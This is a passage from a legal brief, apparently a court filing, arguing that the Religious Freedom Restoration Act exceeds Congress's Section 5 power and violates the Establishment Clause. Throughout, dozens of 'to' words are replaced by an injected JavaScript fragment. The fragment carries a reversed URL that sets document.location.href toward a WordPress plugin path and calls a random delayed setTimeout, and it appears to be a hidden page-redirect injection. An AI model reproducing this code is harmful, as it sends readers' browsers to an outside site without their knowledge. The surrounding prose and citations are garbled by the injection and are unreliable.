of the federal government and in derogation of the states. See Lopez, 115 S. Ct. at 1639 (Kennedy, J., concurring); Gregory, 501 U.S. at 467-70 (holding that absent a plain statement, congressional legislation under Section 5 will not be interpreted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reach certain state political [73]  functions); id. at 469; Pennhurst State School v. Halderman, 451 U.S. 1, 16 (1981) (“Because [legislation under Section 5] imposes congressional policy on a State involuntarily, and because it often intrudes on traditional state authority, we should not quickly attribute toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress an unstated intent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to act under its authority toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce the Fourteenth Amendment.”); Wyoming, 460 U.S. at 259 (Burger, C.J., dissenting) (“The Tenth Amendment was not, after all, repealed when the Fourteenth Amendment was ratified: it was merely limited.”).

Congress has done in RFRA what — in our constitutional scheme — only the states may do themselves. Without question, the states voluntarily could protect religious liberty more robustly than the Federal Constitution through their own constitutions or through legislative action. See William J. Brennan, Jr., State Constitutions and the Protection of Individual Rights, 90 Harv. L. Rev. 489 (1977); Angella C. Carmella, State Constitutional Protection of Religious Exercise: An Emerging Post-Smith Jurisprudence, 1993 B.Y.U. L. Rev. 275; Wisconsin v. Miller, 549 N.W.2d 235, 239-41 (Wis. 1996); [74]  Southern Burlingtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton County NAACP v. Township of Mount Laurel, 336 A.2d 713, 725 (N.J. 1975). But Congress may not curtail state and local government lawmaking by forcing the states toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to observe a higher standard of religious liberty than the Court has deemed the Constitution requires. New York, 505, U.S. at 161-65; Wyoming, 460 U.S. at 259-63 (Burger, C.J., dissenting).

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act violates the principles of federalism reflected in the Tenth Amendment and operating as an inherent constitutional limitation on the exercise of Section 5 authority against the states.

III.  THE RELIGIOUS FREEDOM RESTORATION ACT VIOLATES THE ESTABLISHMENT CLAUSE

The Establishment Clause of the First Amendment states: “Congress shall make no law respecting an establishment of religion.” U.S. Const. amend. I, cl. 1. The purpose of the Establishment Clause, which is specifically addressed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress, is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prevent the union of Congress with organized religions. Such a union is the definition of tyranny. ” For fourteen hundred years, tyranny presented a united front, thereby forcing those who would declare their independence toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fight a revolution [75]  toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to resist all tyranny, whether of church or of state, for in the final analysis all tyranny was one.” Edwin S. Gaustad, A Religious Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of America 115 (1990). In James Madison’s words, “The connection of Church and State was fatal toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the liberty of both.” Adrienne Koch, Madison’s “Advice toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to My Country” 27 (1966).

This Court announced its test toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be applied in Establishment Clause cases in Lemon v. Kurtzman: “First, the statute must have a secular legislative purpose; second, its principal or primary effect must be one that neither advances nor inhibits religion, . . . finally, the statute must not foster ‘an excessive government entanglement with religion.'” Lemon v. Kurtzman, 403 U.S. 602, 612-13 (1971) (quoting Walz v. Tax Comm’n of the City of New York, 397 U.S. 664, 674 (1970)). This test is not satisfied by RFRA. See Scott C. Idleman, The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act: Pushing the Limits of Legislative Power, 73 Tex. L. Rev. 247, 285-302 (1994).

There is no secular purpose in RFRA. The plain purpose is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory protection for all substantial burdens on religion, whether constitutionally protected or not. Unlike the [76]  type of narrowly tailored accommodation of religion contemplated by the Court in Smith, 494 U.S. 872 (1990), and occasionally permitted under the First Amendment, RFRA establishes an across-the-board scheme that deliberately singles out religious practices, en masse, as a congressionally favored class of activity. Congress has proffered no secular rationale — just as it has offered no factual findings — as toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to why such across-the-board special treatment is necessary toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to correct specific constitutional wrongs.

There is certainly no neutral effect. Churches have now become privileged members of every community, federal, state, or local, on every issue. The sheer breadth and substantive strength of RFRA necessarily “advance” religion, both in absolute terms and in relation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to functionally comparable nonreligious forms of belief and practice. The entire purpose of the statute, after all, is